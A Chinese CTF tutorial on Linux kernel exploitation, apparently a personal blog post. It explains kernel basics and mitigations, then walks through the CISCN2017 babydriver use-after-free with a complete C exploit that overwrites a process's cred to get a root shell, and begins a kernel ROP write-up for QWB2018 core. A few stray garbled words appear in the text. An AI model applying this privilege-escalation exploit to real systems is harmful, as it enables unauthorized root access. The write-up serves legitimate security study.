记录一下最近学到的 linux kernel pwn 知识,第一篇主要是一些基础知识和简单漏洞利用,比较基础。

Basic Knowledge

主要参考了 Linux Kernel Exploitation,另外强力建议阅读 内核模块编程入门

Kernel

kernel 也是一个程序,用来管理软件发出的数据 I/O 要求,讲这些要求转义为指令,交给 CPU 和计算机中的其他组件处理,kernel 是现代操作系统最基本的部分。

kernel 最主要的功能有两点:

  1. 控制并与硬件进行交互
  2. 提供 application 能运行的环境

包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。

需要注意的是,kernel 的 crash 通常会引起重启

Ring Model

intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。

Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。

使用 Ring Model 是为了提升系统安全性,例如某个间谍软件作为一个在 Ring 3 运行的用户程序,在不通知用户的时候打开摄像头会被阻止,因为访问硬件需要使用being驱动程序保留的 Ring 1 的方法。

大多数的现代操作系统只使用了 Ring 0 和 Ring 3。

Loadable Kernel Modules(LKMs)

可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序,包括:

  • 驱动程序(Device drivers)
  • 内核扩展模块 (modules)

LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF,Windows 下为 exe/dll,mac 下为 MACH-O,因此我们可以用 IDA 等工具来分析内核模块。

模块可以被单独编译,但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户控件的进程不同。

模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。

Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。

相关指令

  • insmod: 讲指定模块加载到内核中
  • rmmod: 从内核中卸载指定模块
  • lsmod: 列出已经加载的模块

大多数 kernel vulnerability 也出在 LKM 中。

syscall

系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装 (read 和 write))。

/usr/include/x86_64-linux-gnu/asm/unistd_64.h/usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。

推荐两个查阅系统调用号的网站

syscall-32

syscall-64

ioctl

直接查看 man 手册

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
NAME
       ioctl - control device

SYNOPSIS
       #include <sys/ioctl.h>

       int ioctl(int fd, unsigned long request, ...);

DESCRIPTION
       The ioctl() system call manipulates the underlying device parameters of special
       files.  In particular, many  operating  characteristics  of  character  special
       files  (e.g., terminals) may be controlled with ioctl() requests.  The argument
       fd must be an open file descriptor.

       The second argument is a device-dependent request code.  The third argument  is
       an  untyped  pointer  to  memory.  It's traditionally char *argp (from the days
       before void * was valid C), and will be so named for this discussion.

       An ioctl() request has encoded in it whether the argument is an in parameter or
       out  parameter, and the size of the argument argp in bytes.  Macros and defines
       used in specifying an ioctl() request are located in the file <sys/ioctl.h>.

可以看出 ioctl 也是一个系统调用,用于与设备通信。

int ioctl(int fd, unsigned long request, ...) 的第一个参数为打开设备 (open) 返回的 文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。

使用 ioctl 进行通信的原因:

操作系统提供了内核访问标准外部设备的系统调用,因为大多数硬件设备只能够在内核空间内直接寻址,但是当访问非标准硬件设备这些系统调用显得不合适,有时候用户模式可能需要直接访问设备。

比如,一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持,有一些设备可能没有被内核设计者考虑到,如此一来提供一个这样的系统调用来使用设备就变得不可能了。

为了解决这个问题,内核被设计成可扩展的,可以加入一个称为设备驱动的模块,驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个Ioctl接口是一个独立的系统调用,通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的Ioctl调用,如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节,同时也不需要一大堆针对不同设备的系统调用。

状态切换

user space to kernel space

当发生 系统调用产生异常外设产生中断等事件时,会发生用户态到内核态的切换,具体的过程为:

  1. 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。

  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。

  3. 通过 push 保存各寄存器值,具体的 代码 如下:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    
     ENTRY(entry_SYSCALL_64)
     /* SWAPGS_UNSAFE_STACK是一个宏x86直接定义为swapgs指令 */
     SWAPGS_UNSAFE_STACK
       
     /* 保存栈值,并设置内核栈 */
     movq %rsp, PER_CPU_VAR(rsp_scratch)
     movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
       
       
    /* 通过push保存寄存器值,形成一个pt_regs结构 */
    /* Construct struct pt_regs on stack */
    pushq  $__USER_DS      /* pt_regs->ss */
    pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
    pushq  %r11             /* pt_regs->flags */
    pushq  $__USER_CS      /* pt_regs->cs */
    pushq  %rcx             /* pt_regs->ip */
    pushq  %rax             /* pt_regs->orig_ax */
    pushq  %rdi             /* pt_regs->di */
    pushq  %rsi             /* pt_regs->si */
    pushq  %rdx             /* pt_regs->dx */
    pushq  %rcx tuichu    /* pt_regs->cx */
    pushq  $-ENOSYS        /* pt_regs->ax */
    pushq  %r8              /* pt_regs->r8 */
    pushq  %r9              /* pt_regs->r9 */
    pushq  %r10             /* pt_regs->r10 */
    pushq  %r11             /* pt_regs->r11 */
    sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */
    

    ``

  4. 通过汇编指令判断是否为 x32_abi。

  5. 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

kernel space to user space

退出时,流程如下:

  1. 通过 swapgs 恢复 GS 值
  2. 通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)

struct cred

之前提到 kernel 记录了进程的权限,更具体的,是用 cred 结构体记录的,每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。

源码 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
} __randomize_layout;

内核态函数

相比用户态库函数,内核态的函数有了一些变化

  • printf() -> printk(),但需要注意的是 printk() 不一定会把内容显示到终端上,但一定在内核缓冲区里,可以通过 dmesg 查看效果
  • memcpy() -> copy_from_user()/copy_to_user()
    • copy_from_user() 实现了将用户空间的数据传送到内核空间
    • copy_to_user() 实现了将内核空间的数据传送到用户空间
  • malloc() -> kmalloc(),内核态的内存分配函数,和 malloc() 相似,但使用的是 slab/slub 分配器
  • free() -> kfree(),同 kmalloc()

另外要注意的是,kernel 管理进程,因此 kernel 也记录了进程的权限。kernel 中有两个可以方便的改变权限的函数:

  • *int commit_creds(struct cred new)
  • struct cred prepare_kernel_cred(struct task_struct daemon)**

从函数名也可以看出,执行 commit_creds(prepare_kernel_cred(0)) 即可获得 root 权限(root 的 uid,gid 均为 0)

执行 commit_creds(prepare_kernel_cred(0)) 也是最常用的提权手段,两个函数的地址都可以在 /proc/kallsyms 中查看(较老的内核版本中是 /proc/ksyms

1
2
3
4
5
6
7
8
9
post sudo grep commit_creds /proc/kallsyms 
[sudo] m4x 的密码:
ffffffffbb6af9e0 T commit_creds
ffffffffbc7cb3d0 r __ksymtab_commit_creds
ffffffffbc7f06fe r __kstrtab_commit_creds
post sudo grep prepare_kernel_cred /proc/kallsyms
ffffffffbb6afd90 T prepare_kernel_cred
ffffffffbc7d4f20 r __ksymtab_prepare_kernel_cred
ffffffffbc7f06b7 r __kstrtab_prepare_kernel_cred

一般情况下,/proc/kallsyms 的内容需要 root 权限才能查看

Mitigation

canary, dep, PIE, RELRO 等保护与用户态原理和作用相同

  • smep: Supervisor Mode Execution Protection,当处理器处于 ring0 模式时,执行 用户空间 的代码会触发页错误。(在 arm 中该保护称为 PXN)

  • smap: Superivisor Mode Access Protection,类似于 smep,通常是在访问数据时。

  • mmap_min_addr:

CTF kernel pwn 相关

一般会给以下三个文件

  1. boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关

  2. bzImage: kernel binary

  3. rootfs.cpio: 文件系统映像

    比如:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
    CISCN2017_babydriver [master●] ls
    babydriver.tar
    CISCN2017_babydriver [master●] x babydriver.tar
    boot.sh
    bzImage
    rootfs.cpio
    CISCN2017_babydriver [master●] ls
    babydriver.tar  boot.sh  bzImage  rootfs.cpio
    CISCN2017_babydriver [master●] file bzImage
    bzImage: Linux kernel x86 boot executable bzImage, version 4.4.72 (atum@ubuntu) #1 SMP Thu Jun 15 19:52:50 PDT 2017, RO-rootFS, swap_dev 0x6, Normal VGA
    CISCN2017_babydriver [master●] file rootfs.cpio
    rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix, original size 2844672
    CISCN2017_babydriver [master●] file boot.sh
    boot.sh: Bourne-Again shell script, ASCII text executable
    CISCN2017_babydriver [master●] bat boot.sh 
    ───────┬─────────────────────────────────────────────────────────────────────────────────
           │ File: boot.sh
    ───────┼─────────────────────────────────────────────────────────────────────────────────
       1#!/bin/bash
       23   │ qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 ro
           │ ot=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographi
           │ c  -smp cores=1,threads=1 -cpu kvm64,+smep
    ───────┴─────────────────────────────────────────────────────────────────────────────────
    

    `` 解释一下 qemu 启动的参数:

    • -initrd rootfs.cpio,使用 rootfs.cpio 作为内核启动的文件系统
    • -kernel bzImage,使用 bzImage 作为 kernel 映像
    • -cpu kvm64,+smep,设置 CPU 的安全选项,这里开启了 smep
    • -m 64M,设置虚拟 RAM 为 64M,默认为 128M

    其他的选项可以通过 –help 查看。

  4. 本地写好 exploit 后,可以通过 base64 编码等方式把编译好的二进制文件保存到远程目录下,进而拿到 flag

Example

背景知识还有很多,会在分析例题的过程中逐步介绍。

kernel UAF - CISCN2017 - babydriver

attachment here

分析

先解压 rootfs.cpio 看一下有什么文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
CISCN2017_babydriver [master●] mkdir core
CISCN2017_babydriver [master●] cd core 
core [master●] mv ../rootfs.cpio rootfs.cpio.gz
core [master●●] gunzip ./rootfs.cpio.gz 
core [master●] ls
rootfs.cpio
core [master●] cpio -idmv < rootfs.cpio 
.
etc
etc/init.d
etc/passwd
etc/group
...
...
usr/sbin/rdev
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 块
core [master●] ls
bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
core [master●] bat init
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
   1#!/bin/sh
   23   │ mount -t proc none /proc
   4   │ mount -t sysfs none /sys
   5   │ mount -t devtmpfs devtmpfs /dev
   6   │ chown root:root flag
   7   │ chmod 400 flag
   8exec 0</dev/console
   9exec 1>/dev/console
  10exec 2>/dev/console
  1112   │ insmod /lib/modules/4.4.72/babydriver.ko
  13   │ chmod 777 /dev/babydev
  14echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
  15   │ setsid cttyhack setuidgid 1000 sh
  1617   │ umount /proc
  18   │ umount /sys
  19   │ poweroff -d 0  -f
  20   │
───────┴────────────────────────────────────────────────────────────

根据 init 的内容,12 行加载了 babydriver.ko 这个驱动,根据 pwn 的一般套路,这个就是有漏洞的 LKM 了。init 的其他命令都是 linux 常用的命令,就不再解释了。

把这个驱动文件拿出来。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..
core [master●] cd ..
CISCN2017_babydriver [master●] check ./babydriver.ko
./babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
[*] '/home/m4x/pwn_repo/CISCN2017_babydriver/babydriver.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

没有开 PIE,无 canary 保护,没有去除符号表,很 nice。

用 IDA 打开分析,既然没有去除符号表,shift + F9 先看一下有什么结构体,可以发现如下的结构体:

1
2
3
4
5
6
7
8
00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000                                         ; XREF: .bss:babydev_struct/r
00000000 device_buf      dq ?                    ; XREF: babyrelease+6/r
00000000                                         ; babyopen+26/w ... ; offset
00000008 device_buf_len  dq ?                    ; XREF: babyopen+2D/w
00000008                                         ; babyioctl+3C/w ...
00000010 babydevice_t    ends
00000010

再看一下主要函数

babyioctl: 定义了 0x10001 的命令,可以释放全局变量 babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
  }
  else
  {
    printk("\x013defalut:arg is %ld\n", v3, v3);
  }
}

babyopen: 申请一块空间,大小为 0x40 字节,地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 0x24000C0LL, v2);
  return 0;
}

babyread: 先检查长度是否小于 babydev_struct.device_buf_len,然后把 babydev_struct.device_buf 中的数据拷贝到 buffer 中,buffer 和长度都是用户传递的参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_to_user(buffer, babydev_struct.device_buf, v4);
  }
}

babywrite: 类似 babyread,不同的是从 buffer 拷贝到全局变量中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_from_user(babydev_struct.device_buf, buffer, v4);
  }
}

babyrelease: 释放空间,没什么好说的

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}

还有 babydriver_init() 和 babydriver_exit() 两个函数分别完成了 /dev/babydev 设备的初始化和清理,查一下函数的用法即可,不再分析。

思路

没有用户态传统的溢出等漏洞,但存在一个伪条件竞争引发的 UAF 漏洞。

也就是说如果我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为 babydev_struct 是全局的。同样,如果释放第一个,那么第二个其实是被是释放过得,这样就造成了一个 UAF。

那么有了 UAF 要怎么用呢?根据之前的分析,可以修改进程的 cred 结构。

其中 4.4.72 的 cred 结构体 定义 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

那么根据 UAF 的思想,思路如下:

  1. 打开两次设备,通过 ioctl 更改其大小为 cred 结构体的大小
  2. 释放其中一个,fork 一个新进程,那么这个新进程的 cred 的空间就会和之前释放的空间重叠
  3. 同时,我们可以通过另一个文件描述符对这块空间写,只需要将 uid,gid 改为 0,即可以实现提权到 root

需要确定 cred 结构体的大小,有了源码,大小就很好确定了。计算一下是 0x8a(注意使用相同内核版本的源码)。

Exploit

注释都写在代码里了,exploit here

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
CISCN2017_babydriver [master●●] cat exploit.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
	// 打开两次设备
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);

	// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
	ioctl(fd1, 0x10001, 0x8a);

	// 释放 fd1
	close(fd1);

	// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
	int pid = fork();
	if(pid < 0)
	{
		puts("[*] fork error!");
		exit(0);
	}

	else if(pid == 0)
	{
		// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
		char zeros[30] = {0};
		write(fd2, zeros, 28);

		if(getuid() == 0)
		{
			puts("[+] root now.");
			system("/bin/sh");
			exit(0);
		}
	}
	
	else
	{
		wait(NULL);
	}
	close(fd2);

	return 0;
}

get root shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 静态编译文件,kernel 中没有 libc
CISCN2017_babydriver [master●●] gcc exploit.c -static -o exploit
CISCN2017_babydriver [master●●] file exploit
exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=90aabed5497b6922fda3d5118e4aa9cb2fa5ccc5, not stripped
// 把编译好的 exp 解压后的目录下,重新打包 rootfs.cpio
CISCN2017_babydriver [master●●] cp exploit core/tmp 
CISCN2017_babydriver [master●●] cd core 
core [master●●] find . | cpio -o --format=newc > rootfs.cpio
7017 块
core [master●●] cp rootfs.cpio ..
core [master●●] cd ..
// kvm 需要有 root 权限
CISCN2017_babydriver [master●●] sudo ./boot.sh
......
......

/ $ ls /tmp/
exploit
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ /tmp/exploit
[   14.376187] device open
[   14.376715] device open
[   14.377201] alloc done
[   14.377629] device release
[+] root now.
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ #

在后来的学习中,发现使用 SimpleHTTPServer 来传输文件更加方便快捷。

当然也可以用 rop 来做,放到下一篇分析

kernel ROP - 2018强网杯 - core

分析

题目给了 bzImagecore.cpiostart.sh 以及带符号表的 vmlinux 四个文件

前三个文件我们已经知道了作用,vmlinux 则是静态编译,未经过压缩的 kernel 文件,相对应的 bzImage 可以理解为压缩后的文件,更详细的可以看 stackexchange

vmlinux 未经过压缩,也就是说我们可以从 vmlinux 中找到一些 gadget,我们先把 gadget 保存下来备用。

建议使用 Ropper 来寻找 gadget,在我测试时,ropper 用了两分半钟提取出了所有的 gadget,而 ROPgadget 用了半个小时耗尽了内存还没跑出结果。。。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
give_to_player [master●] time ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
ropper --file ./vmlinux --nocolor > g1  147.42s user 25.68s system 111% cpu 2:35.17 total

give_to_player [master●] time ROPgadget --binary ./vmlinux > g2
[2]    16597 killed     ROPgadget --binary ./vmlinux > g2
ROPgadget --binary ./vmlinux > g2  1064.39s user 42.52s system 54% cpu 33:35.89 total

如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。

1
2
3
CISCN2017_babydriver [master●●] ./extract-vmlinux ./bzImage > vmlinux
CISCN2017_babydriver [master●●] file vmlinux 
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped

看一下 start.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
give_to_player [master●●] ls
bzImage  core.cpio  start.sh  vmlinux
give_to_player [master●●] bat start.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: start.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ qemu-system-x86_64 \
   2   │ -m 64M \
   3   │ -kernel ./bzImage \
   4   │ -initrd  ./core.cpio \
   5   │ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
   6   │ -s  \
   7   │ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
   8   │ -nographic  \
───────┴─────────────────────────────────────────────────────────────────────────────────

发现内核开启了 kaslr 保护。

解压 core.cpio 后,看一下 init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
give_to_player [master●] file core.cpio 
core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048
give_to_player [master●] mkdir core
give_to_player [master●] cd core 
core [master] mv ../core.cpio core.cpio.gz
core [master●] gunzip ./core.cpio.gz 
core [master●] cpio -idm < ./core.cpio
104379 块
core [master●] bat init 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
   1#!/bin/sh
   2   │ mount -t proc proc /proc
   3   │ mount -t sysfs sysfs /sys
   4   │ mount -t devtmpfs none /dev
   5   │ /sbin/mdev -s
   6   │ mkdir -p /dev/pts
   7   │ mount -vt devpts -o gid=4,mode=620 none /dev/pts
   8   │ chmod 666 /dev/ptmx
   9   │ cat /proc/kallsyms > /tmp/kallsyms
  10echo 1 > /proc/sys/kernel/kptr_restrict
  11echo 1 > /proc/sys/kernel/dmesg_restrict
  12   │ ifconfig eth0 up
  13   │ udhcpc -i eth0
  14   │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0
  15   │ route add default gw 10.0.2.2 
  16   │ insmod /core.ko
  1718   │ poweroff -d 120 -f &
  19   │ setsid /bin/cttyhack setuidgid 1000 /bin/sh
  20echo 'sh end!\n'
  21   │ umount /proc
  22   │ umount /sys
  2324   │ poweroff -d 0  -f
───────┴────────────────────────────

发现了几处有意思的地方:

  • 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_credsprepare_kernel_cred 的函数的地址了
  • 第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
  • 第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了
  • 第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包

同时还发现了一个 shell 脚本 gen_cpio.sh

1
2
3
4
5
6
7
8
core [master●] bat gen_cpio.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: gen_cpio.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ find . -print0 \
   2| cpio --null -ov --format=newc \
   3| gzip -9 > $1
───────┴─────────────────────────────────────────────────────────────────────────────────

从名称和内容都可以看出这是一个方便打包的脚本,我们修改好 init 后重新打包,尝试运行 kernel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
core [master●●] vim init 
core [master●●] rm core.cpio 
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
./usr/sbin/popmaildir
......
......
./core.cpio
./core.ko
129851 块
core [master●●] ls
bin        core.ko  gen_cpio.sh  lib    linuxrc  root  sys  usr
core.cpio  etc      init         lib64  proc     sbin  tmp  vmlinux
core [master●●] mv core.cpio ..
core [master●●] cd ..
give_to_player [master●●] ./start.sh 

但这时候又遇到了新问题,内核运行不起来,从一闪即逝的报错信息中能看到是因为分配的内存过小,start.sh-m 分配的是 64M,修改为 128M,终于能运行起来了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/ $ lsmod
core 16384 0 - Live 0x0000000000000000 (O)
......
......
give_to_player [master●●] cp core/core.ko .
give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436683d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

可以看出开启了 canary 保护,用 IDA 打开进一步分析。

init_module() 注册了 /proc/core

1
2
3
4
5
6
__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk("\x016core: created /proc/core entry\n");
  return 0LL;
}

exit_core() 删除 /proc/core

1
2
3
4
5
6
7
8
__int64 exit_core()
{
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}

core_ioctl() 定义了三条命令,分别调用 core_read()core_copy_func() 和设置全局变量 off

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
